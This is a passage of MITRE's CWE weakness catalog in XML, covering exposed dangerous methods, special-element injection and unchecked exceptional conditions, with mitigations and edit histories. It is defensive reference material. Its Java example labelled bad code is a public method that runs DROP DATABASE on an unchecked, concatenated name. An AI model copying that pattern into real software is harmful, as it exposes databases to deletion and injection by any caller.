               <CAPEC_ID>24</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>267</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>273</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>28</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>3</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>34</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>40</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>42</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>43</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>45</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>46</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>47</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>51</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>52</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>53</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>64</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>66</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>67</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>7</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>71</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>72</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>76</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>78</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>79</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>8</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>80</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>83</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>84</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>9</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>91</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>CLASP</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier_Organization>Veracode</Modifier_Organization>
					          <Modification_Date>2008-08-15</Modification_Date>
					          <Modification_Comment>Suggested OWASP Top Ten 2004
						mapping</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Description, Relationships,
						Other_Notes, Relationship_Notes, Taxonomy_Mappings,
						Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-01-12</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Name,
						Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Common_Consequences,
						Relationship_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Injection</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-05-27">Failure to Sanitize Data into
						a Different Plane (aka 'Injection')</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2010-06-21">Failure to Sanitize Data into
						a Different Plane ('Injection')</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="749" Name="Exposed Dangerous Method or Function" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software provides an Applications Programming Interface
					(API) or similar interface for interaction with external actors, but the
					interface includes a dangerous method or function that is not properly
					restricted.</Description_Summary>
				        <Extended_Description>
					          <Text>This weakness can lead to a wide variety of resultant weaknesses,
						depending on the behavior of the exposed method. It can apply to any number
						of technologies and approaches, such as ActiveX controls, Java functions,
						IOCTLs, and so on.</Text>
					          <Text>The exposure can occur in a few different ways:</Text>
					          <Block>
						            <Text>1) The function/method was never intended to be exposed to outside
							actors.</Text>
						            <Text>2) The function/method was only intended to be accessible to a limited
							set of actors, such as Internet-based access from a single web
							site.</Text>
					          </Block>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">800</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>808</Relationship_Target_ID>
					          <!--2010 Top 25 - Weaknesses On the Cusp-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>485</Relationship_Target_ID>
					          <!--Insufficient Encapsulation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>691</Relationship_Target_ID>
					          <!--Insufficient Control Flow Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>907</Relationship_Target_ID>
					          <!--SFP Cluster: Other-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="Language-Independent"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Low to Medium</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text> Exposing critical functionality essentially provides an attacker with
							the privilege level of the exposed functionality. This could result in
							the modification or exposure of sensitive data or possibly even
							execution of arbitrary code. </Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>If you must expose a method, make sure to perform input validation on
							all arguments, limit access to authorized parties, and protect against
							all possible vulnerabilities.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Identify and Reduce Attack Surface</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text> Identify all exposed functionality. Explicitly list all functionality
							that must be exposed to some user or set of users. Identify which
							functionality may be:</Text>
						            <Block Block_Nature="List">
							              <Text>accessible to all users</Text>
							              <Text>restricted to a small set of privileged users</Text>
							              <Text>prevented from being directly accessible at all</Text>
						            </Block>
						            <Text>Ensure that the implemented code follows these expectations. This
							includes setting the appropriate access modifiers where applicable
							(public, private, protected, etc.) or not marking ActiveX controls
							safe-for-scripting.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>In the following Java example the method removeDatabase will delete
						the database with the name specified in the input parameter.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public void removeDatabase(String databaseName) {</Code>
							              <Block>
								                <Code>try {</Code>
								                <Block>
									                  <Code>Statement stmt = conn.createStatement();</Code>
									                  <Code>stmt.execute("DROP DATABASE " + databaseName);</Code>
									                  <Code/>
								                </Block>
								                <Code>} catch (SQLException ex) {...}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>The method in this example is declared public and therefore is exposed
							to any class in the application. Deleting a database should be
							considered a critical operation within an application and access to this
							potentially dangerous method should be restricted. Within Java this can
							be accomplished simply by declaring the method private thereby exposing
							it only to the enclosing class as in the following example.</Text>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>private void removeDatabase(String databaseName) {</Code>
							              <Block>
								                <Code>try {</Code>
								                <Block>
									                  <Code>Statement stmt = conn.createStatement();</Code>
									                  <Code>stmt.execute("DROP DATABASE " + databaseName);</Code>
									                  <Code/>
								                </Block>
								                <Code>} catch (SQLException ex) {...}</Code>
								                <Code>}</Code>
							              </Block>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-6382</Observed_Example_Reference>
					          <Observed_Example_Description>arbitrary Java code execution via exposed
						method</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-1112</Observed_Example_Reference>
					          <Observed_Example_Description>security tool ActiveX control allows download or
						upload of files</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Research_Gaps>
				        <Research_Gap>
					          <Text>Under-reported and under-studied. This weakness could appear in any
						technology, language, or framework that allows the programmer to provide a
						functional interface to external parties, but it is not heavily reported. In
						2007, CVE began showing a notable increase in reports of exposed method
						vulnerabilities in ActiveX applications, as well as IOCTL access to OS-level
						resources. These weaknesses have been documented for Java applications in
						various secure programming sources, but there are few reports in CVE, which
						suggests limited awareness in most parts of the vulnerability research
						community.</Text>
				        </Research_Gap>
			      </Research_Gaps>
			      <References>
				        <Reference>
					          <Reference_Link>http://msdn.microsoft.com/workshop/components/activex/safety.asp</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Link>http://msdn.microsoft.com/workshop/components/activex/security.asp</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2008-11-24</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-01-12</Modification_Date>
					          <Modification_Comment>updated Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms,
						Likelihood_of_Exploit</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Demonstrative_Examples,
						Potential_Mitigations, References, Related_Attack_Patterns,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples,
						Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2009-01-12">Exposed Insecure Method or
						Function</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="75" Name="Failure to Sanitize Special Elements into a Different Plane (Special Element Injection)" Weakness_Abstraction="Class" Status="Draft">
			      <Description>
				        <Description_Summary>The software does not adequately filter user-controlled input
					for special elements with control implications.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>74</Relationship_Target_ID>
					          <!--Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
				  	        <Mitigation_Phase>Requirements</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Programming languages and supporting
							technologies might be chosen which are not subject to these
							issues.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Utilize an appropriate mix of white-list and black-list parsing to
							filter special element syntax from all input.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Special Element Injection</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Special Element
						Injection</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="754" Name="Improper Check for Unusual or Exceptional Conditions" Weakness_Abstraction="Class" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software does not check or improperly checks for unusual or
					exceptional conditions that are not expected to occur frequently during day to
					day operation of the software.</Description_Summary>
				        <Extended_Description>
					          <Text>The programmer may assume that certain events or conditions will never
						occur or do not need to be worried about, such as low memory conditions,
						lack of access to resources due to restrictive permissions, or misbehaving
						clients or components. However, attackers may intentionally trigger these
						unusual conditions, thus violating the programmer's assumptions, possibly
						introducing instability, incorrect behavior, or a vulnerability.</Text>
					          <Text>Note that this entry is not exclusively about the use of exceptions and
						exception handling, which are mechanisms for both checking and handling
						unusual or unexpected conditions.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">900</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>867</Relationship_Target_ID>
					          <!--2011 Top 25 - Weaknesses On the Cusp-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">800</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>802</Relationship_Target_ID>
					          <!--2010 Top 25 - Risky Resource Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>703</Relationship_Target_ID>
					          <!--Improper Check or Handling of Exceptional Conditions-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>388</Relationship_Target_ID>
					          <!--Error Handling-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>840</Relationship_Target_ID>
					          <!--Business Logic Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>876</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 08 - Memory Management (MEM)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>880</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>742</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 08 - Memory Management (MEM)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>889</Relationship_Target_ID>
					          <!--SFP Cluster: Exception Management-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>Sometimes, when a return value can be used to indicate an error, an
						unchecked return value is a code-layer instance of a missing
						application-layer check for exceptional conditions. However, return values
						are not always needed to communicate exceptional conditions. For example,
						expiration of resources, values passed by reference, asynchronously modified
						data, sockets, etc. may indicate exceptional conditions without the use of a
						return value.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="Language-independent"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Background_Details>
				        <Background_Detail>
					          <Text>Many functions will return some value about the success of their actions.
						This will alert the program whether or not to handle any errors caused by
						that function.</Text>
				        </Background_Detail>
			      </Background_Details>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Medium</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>The data which were produced as a result of a function call could be
							in a bad state upon return. If the return value is not checked, then
							this bad data may be used in operations, possibly leading to a crash or
							other unintended behaviors.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Detection_Methods>
				        <Detection_Method>
					          <Method_Name>Automated Static Analysis</Method_Name>
					          <Method_Description>
						            <Text>Automated static analysis may be useful for detecting unusual
							conditions involving system resources or common programming idioms, but
							not for violations of business rules.</Text>
					          </Method_Description>
					          <Method_Effectiveness>Moderate</Method_Effectiveness>
				        </Detection_Method>
				        <Detection_Method Detection_Method_ID="DM-12">
					          <Method_Name>Manual Dynamic Analysis</Method_Name>
					          <Method_Description>
						            <Text>Identify error conditions that are not likely to occur during normal
							usage and trigger them. For example, run the program under low memory
							conditions, run with insufficient privileges or permissions, interrupt a
							transaction before it is completed, or disable connectivity to basic
							network services such as DNS. Monitor the software for any unexpected
							behavior. If you trigger an unhandled exception or similar error that
							was discovered and handled by the application's environment, it may
							still indicate unexpected conditions that were not handled by the
							application itself.</Text>
					          </Method_Description>
				        </Detection_Method>
			      </Detection_Methods>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-3">
					          <Mitigation_Phase>Requirements</Mitigation_Phase>
					          <Mitigation_Strategy>Language Selection</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use a language that does not allow this weakness to occur or provides
							constructs that make this weakness easier to avoid.</Text>
						            <Text>Choose languages with features such as exception handling that force
							the programmer to anticipate unusual conditions that may generate
							exceptions. Custom exceptions may need to be developed to handle unusual
